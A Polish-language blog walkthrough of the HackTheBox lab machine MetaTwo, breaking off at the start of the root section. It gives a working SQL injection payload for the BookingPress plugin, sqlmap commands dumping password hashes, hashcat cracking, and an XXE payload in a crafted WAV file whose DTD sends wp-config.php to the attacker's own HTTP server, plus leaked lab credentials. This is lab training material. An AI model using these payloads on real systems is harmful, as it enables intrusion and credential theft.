Blog | Ravr

[PL] HackTheBox - MetaTwo

htb

April 29, 2023

HTB machine logo

MetaTwo


HTB

Os
Linux
Trudność
Easy
Premiera
October 29, 2022
Punkty
20

HTB

Twórca
HTB - creator
User blood
HTB - userBlood
Root blood
HTB - rootBlood

Rekonesans

Nmap

Zaczynamy od skanowania IP narzędziem nmap. Znajduje on 3 otwarte porty:

  • 21 (FTP)
  • 22 (SSH)
  • 80 (HTTP)
rvr@rvr$ nmap -p- 10.10.11.186 -oN nmap.initial-scan.out
Starting Nmap 7.80 ( https://nmap.org ) at 2023-04-27 18:10 UTC
Nmap scan report for 10.10.11.186
Host is up (0.068s latency).
Not shown: 59395 closed ports, 6137 filtered ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

rvr@rvr$ nmap -p21,22,80 -sCV 10.10.11.186
Starting Nmap 7.80 ( https://nmap.org ) at 2023-04-27 18:14 UTC
Nmap scan report for 10.10.11.186
Host is up (0.25s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp
| fingerprint-strings: 
|   GenericLines: 
|     220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.80%I=7%D=4/27%Time=644A835D%P=x86_64-pc-linux-gnu%r(Gene
SF:ricLines,8F,"220\x20ProFTPD\x20Server\x20\(Debian\)\x20\[::ffff:10\.10\
SF:.11\.186\]\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20cre
SF:ative\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20creative
SF:\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

TCP 80 (HTTP) - metapress.htb

Najpierw skupimy się na porcie 80, gdyż z reguły to tam kryje się najwięcej podatności. Bardzo często to właśnie od strony usługi webowej atakujący uzyskuje tzw. initial access.

Wordpress

Po przejściu pod podany adres IP zostajemy od razu przekierowani do http://metapress.htb/ - dodajemy więc nowy rekord 10.10.11.186 metapress.htb do pliku /etc/hosts, by móc odwołać się do maszyny po nazwie domenowej. metapress.htb - strona glowna

Sama strona wykorzystuje Wordpressa, co da sie zauważyć w stopce na stronie głównej. Możemy to również potwierdzić przeglądając źródło strony, gdzie widzimy typowe dla wordpressa nagłówki, np. <meta name="generator" content="WordPress 5.6.2" /> metapress.htb - źródło strony

Moglibyśmy teraz uruchomić narzędzie wpscan, który przeskanowałby stronę pod kątem znanych podatności Wordpressa. Robimy to np. tak:

rvr@rvr$ wpscan --url http://metapress.htb --detection-mode aggressive --plugins-detection aggressive

Najlepiej uruchomić go w tle, gdyż jego działanie jest dosyć czasochłonne (zwłaszcza w trybie aggresive), a w międzyczasie przejść do manualnej eksploracji, co też czynimy.

Shell jako jnelson

Podatny plugin

Na stronie głównej widzimy link do http://metapress.htb/events/, który prowadzi do poniższej strony: metapress.htb/events/

Zaglądając w źródła możemy zauważyć interesującą informację: metapress.htb/events/ - źródło strony

Strona wykorzystuje plugin bookingpress-appointment-booking w wersji 1.0.10, który jak się okazuje jest podatny na sql injection w parametrze total_service (CVE-2022-0739). Aby go wykorzystać, musimy:

  • zapisać się na dowolne wydarzenie, jednocześnie przechwytując request burpem,
  • usunąć wszystkie parametry zostawiając tylko _wp_nonce - jego oryginalna zawartość jest niezbędna, aby Wordpress poprawnie przetworzył wysyłany formularz,
  • umieścić w przechwyconym requeście nowe parametry, tj. action=bookingpress_front_get_category_services, category_id=33 i wreszcie total_service zawierający wstrzyknięte zapytanie sql: 11) UNION ALL SELECT @@version,1,2,3,4,5,6,7,8-- -, które w naszym przypadku odpyta o wersję bazy danych.

Ostatecznie, parametry zapytania wyglądają następująco:

action=bookingpress_front_get_category_services&_wpnonce=ed9b225548&category_id=33&total_service=11) UNION ALL SELECT @@version,1,2,3,4,5,6,7,8-- -

W odpowiedzi zauważamy ciąg 10.5.15-MariaDB-0+deb11u1 co potwierdza, że wstrzyknięcie sqla zadziałało poprawnie. Burp - sql injection

Sqlmap

Wykorzystamy teraz sqlmapa by wyciągnąć z bazy wartościowe informacje. W tym celu:

  • zmieniamy w burpie wartość parametru total_service np. na 1 - sqlmap nie za bardzo “lubi się” z wstępnie wypełnionymi wstrzyknięciami sqla, najlepiej jest użyć uniwersalnego markera takiego jak 1 czy *,
  • zapisujemy tak powstały request do pliku (prawy przycisk myszki i copy to file),
  • w końcu, uruchamiamy sqlmap wskazując na nasz zapisany request (-r) oraz jawnie podając podatny parametr (-p) - wszystko po to, by przyspieszyć działanie sqlmapa i nie czekać aż sprawdzi on wszystkie obecne w zapytaniu parametry:
rvr@rvr$ cat sqli-burp.req

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: metapress.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 147
Origin: http://metapress.htb
Connection: close
Referer: http://metapress.htb/events/
Cookie: wordpress_498b28797b9ccef61e19f54e27d9e6f4=manager%7C1675344085%7Cj53dl7etLfBvuvY6mJXHb2PT03Z2U4YOUo6d8KufknM%7C1b3e97ad4bf2e09975b1e4c9232ec2d75eb6047d4f911653ecc2846ed7469072; PHPSESSID=g3tkipnjf9lb8n12v37aqfcnpt; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_498b28797b9ccef61e19f54e27d9e6f4=manager%7C1675344085%7Cj53dl7etLfBvuvY6mJXHb2PT03Z2U4YOUo6d8KufknM%7Cdaffc9563a6d629f2262d826e240c81d000b8331f93b887deb2004d09cd681d2

action=bookingpress_front_get_category_services&_wpnonce=ed9b225548&category_id=33&total_service=1
rvr@rvr$ sqlmap -r sqli-burp.req -p total_service
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.7.2#stable}
|_ -| . [)]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 18:38:35 /2023-04-28/

[18:38:35] [INFO] parsing HTTP request from 'sqli-burp.req'
[18:38:35] [INFO] resuming back-end DBMS 'mysql'
[18:38:35] [INFO] testing connection to the target URL
[18:38:35] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: total_service (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: action=bookingpress_front_get_category_services&_wpnonce=1bfac02e7d&category_id=33&total_service=1) AND (SELECT 4669 FROM (SELECT(SLEEP(5)))cVGv) AND (4767=4767

    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: action=bookingpress_front_get_category_services&_wpnonce=1bfac02e7d&category_id=33&total_service=1) UNION ALL SELECT CONCAT(0x71706b6b71,0x50616b49426979746474454d77784f447076776c716b5666714e796578734749675a7057746f777a,0x7178626b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[18:38:35] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.0.24, Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[18:38:35] [INFO] fetched data logged to text files under '/home/rvr/.sqlmap/output/metapress.htb'

[*] ending @ 18:38:35 /2023-04-28/

Następnie wyciągamy z bazy:

  • jej nazwę,
  • tabele,
  • loginy i hashe haseł z tabli wp_users
rvr@rvr$ sqlmap -r sqli-burp.req -p total_service --dbs

...[snip]...

[*] blog
[*] information_schema

rvr@rvr$ sqlmap -r sqli-burp.req -p total_service -D blog --tables

...[snip]...

[18:46:20] [INFO] fetching tables for database: 'blog'
Database: blog
[27 tables]
+--------------------------------------+
| wp_bookingpress_appointment_bookings |
| wp_bookingpress_categories           |
| wp_bookingpress_customers            |
| wp_bookingpress_customers_meta       |
| wp_bookingpress_customize_settings   |
| wp_bookingpress_debug_payment_log    |
| wp_bookingpress_default_daysoff      |
| wp_bookingpress_default_workhours    |
| wp_bookingpress_entries              |
| wp_bookingpress_form_fields          |
| wp_bookingpress_notifications        |
| wp_bookingpress_payment_logs         |
| wp_bookingpress_services             |
| wp_bookingpress_servicesmeta         |
| wp_bookingpress_settings             |
| wp_commentmeta                       |
| wp_comments                          |
| wp_links                             |
| wp_options                           |
| wp_postmeta                          |
| wp_posts                             |
| wp_term_relationships                |
| wp_term_taxonomy                     |
| wp_termmeta                          |
| wp_terms                             |
| wp_usermeta                          |
| wp_users                             |
+--------------------------------------+

rvr@rvr$ sqlmap -r sqli-burp.req -p total_service -D blog -T wp_users -C user_email,display_name,user_pass --dump

...[snip]...

Database: blog
Table: wp_users
[2 entries]
+-----------------------+--------------+------------------------------------+
| user_email            | display_name | user_pass                          |
+-----------------------+--------------+------------------------------------+
| [email protected]   | admin        | $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV. |
| [email protected] | manager      | $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70 |
+-----------------------+--------------+------------------------------------+

Hashcat

Posiadając hashe haseł, możemy próbować je złamać przy pomocy hashcata. Przygotowujemy plik z hashami:

rvr@rvr$ cat metapress_hashes

admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70

Uruchamiamy hashcata z mode ustawionym na 400, czyli. phpass, WordPress (MD5), phpBB3 (MD5), Joomla (MD5), bo taki typ hashy wykorzystuje Wordpress:

rvr@rvr$ hashcat -m 400 --username metapress_hashes /usr/share/wordlists/rockyou.txt
hashcat (v5.1.0) starting... 
$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70:partylikearockstar

rvr@rvr$ hashcat -m 400 --username metapress_hashes --show
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70:partylikearockstar

Jak widać, udało się odzyskać hasło użytkownika manager. Możemy teraz zalogować się do Wordpressa podając pozyskane dane.

Wordpress - użytkownik manager

Wordpress użytkownik manager

Okazuje się, że manager jest nisko uprzywilejowanym użytkownikiem, może jedynie edytować profil i wysyłać pliki multimedialne. Zatem, nie jest możliwe wykorzystanie typowego ataku polegającego na edycji szablonu Wordpressa i doklejeniu web shella, który później zostaje wykonany przez interpreter php, dając tym samym dostęp do shella atakującemu.

Z wcześniejszej enumeracji wiemy, że strona wykorzystuje wordpressa w wersji 5.6.2. Lista podatności dla tej wersji jest dosyć długa. Moglibyśmy testować je jedna po drugiej, lecz my skupimy sie na jednej z nich, tj. WordPress 5.6-5.7 - Authenticated XXE Within the Media Library Affecting PHP 8, ponieważ wiemy, że użytkownik manager ma możliwość przesyłania plików. Wordpress 5.6.2 - podatności

CVE-2021-29447

Opis podatności na podlinkowanej stronie wskazuje, że serwer php, na którym uruchomiony jest wordpress powinien być w wersji przynajmniej 8. Możemy potwierdzić, że mamy właśnie z takim do czynienia, przegladając nagłówki odpowiedzi serwera (lub na zrzucie ekranu wyżej z narzędzia burp) - widzimy tam informację X-Powered-By: PHP/8.0.24.

Właściwa podatność, jaką w tym wypadku jest XXE, polega na wstrzyknięciu zewnętrznej encji xml, która po przeparsowaniu przez silnik pozwala na czytanie dowolnych plików serwera, a w niektórych przypadkach nawet RCE. Exploitacja zgodnie z CVE-2021-29447 wygląda nastepująco:

  1. Tworzymy plik wav, który zawiera encje xml pobierającą dodatkowy plik dtd (10.10.14.11 to nasz adres ip):
rvr@rvr$ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.11:8888/xxe.dtd'"'"'>%remote;%init;%trick;] >\x00'> malicious.wav
  1. Tworzymy właściwy plik dtd, który zawiera dwie kolejne encje xml odpowiedzialne za wczytanie pliku z serwera (w tym przypadku wp_config.php, gdyż tam najczęściej znajdują się różne “sekrety” wordpressa), zakodowanie go do postaci base64 i eksfiltrację na adres ip kontrolowany przez nas:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=../wp-config.php">
<!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://10.10.14.11:8888/?p=%file;'>" >
  1. Udostępniamy plik xxe.dtd na porcie 8888 przy pomocy python3 -m http.server 8888, gdzie również za chwile odbierzemy nasze wykradzione dane.

  2. Przesyłamy plik malicious.wav stworzony w kroku pierwszym poprzez panel Wordpressa:

Upload pliku .wav

Po chwili widzimy w konsoli:

rvr@rvr$ python3 -m http.server 9999
Serving HTTP on 0.0.0.0 port 9999 (http://0.0.0.0:9999/) ...
10.10.11.186 - - [28/Apr/2023 23:00:01] "GET /xxe.dtd HTTP/1.1" 200 -
10.10.11.186 - - [28/Apr/2023 23:00:02] "GET /xxe.dtd HTTP/1.1" 200 -
10.10.11.186 - - [28/Apr/2023 23:00:01] "GET /?p=PD9waHANCi8qKiBUaGUgbmFtZSBvZiB0aGUgZGF0YWJhc2UgZm9yIFdvcmRQcmVzcyAqLw0KZGVmaW5lKCAnREJfTkFNRScsICdibG9nJyApOw0KDQovKiogTXlTUUwgZGF0YWJhc2UgdXNlcm5hbWUgKi8NCmRlZmluZSggJ0RCX1VTRVInLCAnYmxvZycgKTsNCg0KLyoqIE15U1FMIGRhdGFiYXNlIHBhc3N3b3JkICovDQpkZWZpbmUoICdEQl9QQVNTV09SRCcsICc2MzVBcUBUZHFyQ3dYRlVaJyApOw0KDQovKiogTXlTUUwgaG9zdG5hbWUgKi8NCmRlZmluZSggJ0RCX0hPU1QnLCAnbG9jYWxob3N0JyApOw0KDQovKiogRGF0YWJhc2UgQ2hhcnNldCB0byB1c2UgaW4gY3JlYXRpbmcgZGF0YWJhc2UgdGFibGVzLiAqLw0KZGVmaW5lKCAnREJfQ0hBUlNFVCcsICd1dGY4bWI0JyApOw0KDQovKiogVGhlIERhdGFiYXNlIENvbGxhdGUgdHlwZS4gRG9uJ3QgY2hhbmdlIHRoaXMgaWYgaW4gZG91YnQuICovDQpkZWZpbmUoICdEQl9DT0xMQVRFJywgJycgKTsNCg0KZGVmaW5lKCAnRlNfTUVUSE9EJywgJ2Z0cGV4dCcgKTsNCmRlZmluZSggJ0ZUUF9VU0VSJywgJ21ldGFwcmVzcy5odGInICk7DQpkZWZpbmUoICdGVFBfUEFTUycsICc5TllTX2lpQEZ5TF9wNU0yTnZKJyApOw0KZGVmaW5lKCAnRlRQX0hPU1QnLCAnZnRwLm1ldGFwcmVzcy5odGInICk7DQpkZWZpbmUoICdGVFBfQkFTRScsICdibG9nLycgKTsNCmRlZmluZSggJ0ZUUF9TU0wnLCBmYWxzZSApOw0KDQovKiojQCsNCiAqIEF1dGhlbnRpY2F0aW9uIFVuaXF1ZSBLZXlzIGFuZCBTYWx0cy4NCiAqIEBzaW5jZSAyLjYuMA0KICovDQpkZWZpbmUoICdBVVRIX0tFWScsICAgICAgICAgJz8hWiR1R08qQTZ4T0U1eCxwd2VQNGkqejttYHwuWjpYQClRUlFGWGtDUnlsN31gclhWRz0zIG4+KzNtPy5CLzonICk7DQpkZWZpbmUoICdTRUNVUkVfQVVUSF9LRVknLCAgJ3gkaSQpYjBdYjFjdXA7NDdgWVZ1YS9KSHElKjhVQTZnXTBid29FVzo5MUVaOWhdcldsVnElSVE2NnBmez1dYSUnICk7DQpkZWZpbmUoICdMT0dHRURfSU5fS0VZJywgICAgJ0orbXhDYVA0ejxnLjZQXnRgeml2PmRkfUVFaSU0OCVKblJxXjJNakZpaXRuIyZuK0hYdl18fEUrRn5De3FLWHknICk7DQpkZWZpbmUoICdOT05DRV9LRVknLCAgICAgICAgJ1NtZURyJCRPMGppO145XSpgfkdOZSFwWEBEdldiNG05RWQ9RGQoLnItcXteeihGPyk3bXhOVWc5ODZ0UU83TzUnICk7DQpkZWZpbmUoICdBVVRIX1NBTFQnLCAgICAgICAgJ1s7VEJnYy8sTSMpZDVmW0gqdGc1MGlmVD9adi41V3g9YGxAdiQtdkgqPH46MF1zfWQ8Jk07Lix4MHp+Uj4zIUQnICk7DQpkZWZpbmUoICdTRUNVUkVfQVVUSF9TQUxUJywgJz5gVkFzNiFHOTU1ZEpzPyRPNHptYC5RO2FtaldedUpya18xLWRJKFNqUk9kV1tTJn5vbWlIXmpWQz8yLUk/SS4nICk7DQpkZWZpbmUoICdMT0dHRURfSU5fU0FMVCcsICAgJzRbZlNeMyE9JT9ISW9wTXBrZ1lib3k4LWpsXmldTXd9WSBkfk49Jl5Kc0lgTSlGSlRKRVZJKSBOI05PaWRJZj0nICk7DQpkZWZpbmUoICdOT05DRV9TQUxUJywgICAgICAgJy5zVSZDUUBJUmxoIE87NWFzbFkrRnE4UVdoZVNOeGQ2VmUjfXchQnEsaH1WOWpLU2tUR3N2JVk0NTFGOEw9YkwnICk7DQoNCi8qKg0KICogV29yZFByZXNzIERhdGFiYXNlIFRhYmxlIHByZWZpeC4NCiAqLw0KJHRhYmxlX3ByZWZpeCA9ICd3cF8nOw0KDQovKioNCiAqIEZvciBkZXZlbG9wZXJzOiBXb3JkUHJlc3MgZGVidWdnaW5nIG1vZGUuDQogKiBAbGluayBodHRwczovL3dvcmRwcmVzcy5vcmcvc3VwcG9ydC9hcnRpY2xlL2RlYnVnZ2luZy1pbi13b3JkcHJlc3MvDQogKi8NCmRlZmluZSggJ1dQX0RFQlVHJywgZmFsc2UgKTsNCg0KLyoqIEFic29sdXRlIHBhdGggdG8gdGhlIFdvcmRQcmVzcyBkaXJlY3RvcnkuICovDQppZiAoICEgZGVmaW5lZCggJ0FCU1BBVEgnICkgKSB7DQoJZGVmaW5lKCAnQUJTUEFUSCcsIF9fRElSX18gLiAnLycgKTsNCn0NCg0KLyoqIFNldHMgdXAgV29yZFByZXNzIHZhcnMgYW5kIGluY2x1ZGVkIGZpbGVzLiAqLw0KcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAnd3Atc2V0dGluZ3MucGhwJzsNCg== HTTP/1.1" 200 -

Plik wp_config.php odebrany w parametrze p po zdekodowaniu z base64:

rvr@rvr$ echo PD9waHANCi8qK... | base64 -d

<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );

/** MySQL database username */
define( 'DB_USER', 'blog' );

/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );

...[snip]...

Widzimy tu między innym hasło do bazy danych 635Aq@TdqrCwXFUZ oraz dane logowania do ftp: metapress.htb:9NYS_ii@FyL_p5M2NvJ. Analogicznie możemy wykraść również inne pliki z serwera, np. /etc/passwd, który pozwoli nam poznać nazwy użytkowników. By nie powielać informacji, poniżej znajduje się efekt końcowy - wykradziona zawartość pliku /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:105:111:MySQL Server,,,:/nonexistent:/bin/false
proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin
ftp:x:107:65534::/srv/ftp:/usr/sbin/nologin

Plik wskazuje na obecność dwóch użytkowników z dostępem do shella: root i jnelson. Kolejnym krokiem mogłaby być próba zalogowania się do ssh na konto tych użytkowników podając znalezione wcześniej hasła - okazuje się jednak, że żadne z nich nie jest właściwe.

TCP 21 (FTP)

Ponieważ w pliku wp-config.php znaleźliśmy dane logowania do ftp, przechodzimy teraz do tej usługi. Po zalogowaniu się widzimy dwa foldery: blog i mailer. Folder blog zawiera źrodła wordpressa, folder mailer z kolei m.in. plik send_email.php:

rvr@rvr$ ftp metapress.htb
Connected to metapress.htb.
220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
Name (metapress.htb:rvr): metapress.htb
331 Password required for metapress.htb
Password:
230 User metapress.htb logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x   5 metapress.htb metapress.htb     4096 Oct  5  2022 blog
drwxr-xr-x   3 metapress.htb metapress.htb     4096 Oct  5  2022 mailer
226 Transfer complete
ftp> cd blog
250 CWD command successful
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
-rw-r--r--   1 metapress.htb metapress.htb      405 Feb  6  2020 index.php
-rw-r--r--   1 metapress.htb metapress.htb    19915 Feb 12  2020 license.txt
-rw-r--r--   1 metapress.htb metapress.htb     7278 Jun 26  2020 readme.html
-rw-r--r--   1 metapress.htb metapress.htb     7101 Jul 28  2020 wp-activate.php
drwxr-xr-x   9 metapress.htb metapress.htb     4096 Oct  5  2022 wp-admin
-rw-r--r--   1 metapress.htb metapress.htb      351 Feb  6  2020 wp-blog-header.php
-rw-r--r--   1 metapress.htb metapress.htb     2328 Oct  8  2020 wp-comments-post.php
-rw-r--r--   1 metapress.htb metapress.htb     2032 Jun 23  2022 wp-config.php
-rw-r--r--   1 metapress.htb metapress.htb     2913 Feb  6  2020 wp-config-sample.php
drwxr-xr-x   6 metapress.htb metapress.htb     4096 Oct  5  2022 wp-content
-rw-r--r--   1 metapress.htb metapress.htb     3939 Jul 30  2020 wp-cron.php
drwxr-xr-x  25 metapress.htb metapress.htb    12288 Oct  5  2022 wp-includes
-rw-r--r--   1 metapress.htb metapress.htb     2496 Feb  6  2020 wp-links-opml.php
-rw-r--r--   1 metapress.htb metapress.htb     3300 Feb  6  2020 wp-load.php
-rw-r--r--   1 metapress.htb metapress.htb    49831 Nov  9  2020 wp-login.php
-rw-r--r--   1 metapress.htb metapress.htb     8509 Apr 14  2020 wp-mail.php
-rw-r--r--   1 metapress.htb metapress.htb    20975 Nov 12  2020 wp-settings.php
-rw-r--r--   1 metapress.htb metapress.htb    31337 Sep 30  2020 wp-signup.php
-rw-r--r--   1 metapress.htb metapress.htb     4747 Oct  8  2020 wp-trackback.php
-rw-r--r--   1 metapress.htb metapress.htb     3236 Jun  8  2020 xmlrpc.php
226 Transfer complete

Jedną z rzeczy, która nasuwa się na tym etapie, jest przesłanie złośliwego pliku php (np. z webshellem) do folderu blog, a następnie odwołanie się do niego pozwalając serwerowi php na jego wykonanie. W ten sposób otrzymalibyśmy zdalne wykonanie kodu na serwerze. Niestety ze względu na niewystarczające uprawnienia nie mamy możliwości przesyłania własnych plików:

ftp> pwd
257 "/blog" is the current directory
ftp> put webshell.php
local: webshell.php remote: webshell.php
200 PORT command successful
550 webshell.php: Operation not permitted

Skupmy się więc na zawartości katalogu mailer:

ftp> cd ../mailer
250 CWD command successful
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x   4 metapress.htb metapress.htb     4096 Oct  5  2022 PHPMailer
-rw-r--r--   1 metapress.htb metapress.htb     1126 Jun 22  2022 send_email.php
226 Transfer complete
ftp> cd PHPMailer
250 CWD command successful
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
-rw-r--r--   1 metapress.htb metapress.htb     2092 Jun 20  2022 COMMITMENT
-rw-r--r--   1 metapress.htb metapress.htb     2503 Jun 20  2022 composer.json
-rw-r--r--   1 metapress.htb metapress.htb     5521 Jun 20  2022 get_oauth_token.php
drwxr-xr-x   2 metapress.htb metapress.htb     4096 Oct  5  2022 language
-rw-r--r--   1 metapress.htb metapress.htb    26529 Jun 20  2022 LICENSE
-rw-r--r--   1 metapress.htb metapress.htb    16240 Jun 20  2022 README.md
-rw-r--r--   1 metapress.htb metapress.htb     7584 Jun 20  2022 SECURITY.md
drwxr-xr-x   2 metapress.htb metapress.htb     4096 Oct  5  2022 src
-rw-r--r--   1 metapress.htb metapress.htb        5 Jun 20  2022 VERSION
226 Transfer complete

Najbardziej interesujacy wydaje się plik send_mail.php, gdyż wygląda na całkowicie niestandardowy - w przeciwieństwie do katalogu PHPMailer, którego zawartość wskazuje na zewnętrzną bibliotekę. Pobieramy więc plik send_mail.php poleceniem get send_mail.php:

ftp> cd ../
250 CWD command successful
ftp> get send_email.php
local: send_email.php remote: send_email.php
200 PORT command successful
150 Opening BINARY mode data connection for send_email.php (1126 bytes)
226 Transfer complete
1126 bytes received in 0.00 secs (3.7945 MB/s)
ftp> exit
221 Goodbye.

Jego zawartość wygląda następująco:

<?php
/*
 * This script will be used to send an email to all our users when ready for launch
*/

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;

require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';

$mail = new PHPMailer(true);

$mail->SMTPDebug = 3;                               
$mail->isSMTP();            

$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;                          
$mail->Username = "[email protected]";                 
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";                           
$mail->SMTPSecure = "tls";                           
$mail->Port = 587;                                   

$mail->From = "[email protected]";
$mail->FromName = "James Nelson";

$mail->addAddress("[email protected]");

$mail->isHTML(true);

$mail->Subject = "Startup";
$mail->Body = "<i>We just started our new blog metapress.htb!</i>";

try {
    $mail->send();
    echo "Message has been sent successfully";
} catch (Exception $e) {
    echo "Mailer Error: " . $mail->ErrorInfo;
}

Zauważamy tu kolejne dane logowania:

Okazuje się, ze pasują one do ssh użytkownika jnelson.

rvr@rvr$ ssh [email protected]
[email protected]'s password: 
Linux meta2 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Apr 28 18:24:16 2023 from 10.10.14.40
jnelson@meta2:~$ id
uid=1000(jnelson) gid=1000(jnelson) groups=1000(jnelson)
jnelson@meta2:~$ 

Możemy teraz odczytać flagę z katalogu domowego użytkownika:

jnelson@meta2:~$ cat user.txt 
2613db400***********************

Shell jako root

Enumeracja

W katalogu domowym użytkownika widzimy niecodzienny folder .passpie:

jnelson@meta2:~$ ls -la
total 36
drwxr-xr-x 5 jnelson jnelson 4096 Apr 28 22:36 .
drwxr-xr-x 3 root    root    4096 Oct  5  2022 ..
lrwxrwxrwx 1 root    root       9 Jun 26  2022 .bash_history -> /dev/null
-rw-r--r-- 1 jnelson jnelson  220 Jun 26  2022 .bash_logout
-rw-r--r-- 1 jnelson jnelson 3526 Jun 26  2022 .bashrc
drwxr-xr-x 3 jnelson jnelson 4096 Oct 25  2022 .local
dr-xr-x--- 3 jnelson jnelson 4096 Oct 25  2022 .passpie
-rw-r--r-- 1 jnelson jnelson  807 Jun 26  2022 .profile
drwx------ 2 jnelson jnelson 4096 Apr 28 13:47 .ssh
-rw-r----- 1 root    jnelson   33 Apr 28 12:52 user.txt

jnelson@meta2:~$ cd .passpie
jnelson@meta2:~/.passpie$ find .
.
./.keys
./ssh
./ssh/root.pass
./ssh/jnelson.pass
./.config

Passpie

Passpie to lokalny menadzer haseł. Gdy go uruchomimy, dowiemy się, że przechowuje on następujące hasła:

jnelson@meta2:~/.passpie$ passpie list
╒════════╤═════════╤════════════╤═══════════╕
│ Name   │ Login   │ Password   │ Comment   │
╞════════╪═════════╪════════════╪═══════════╡
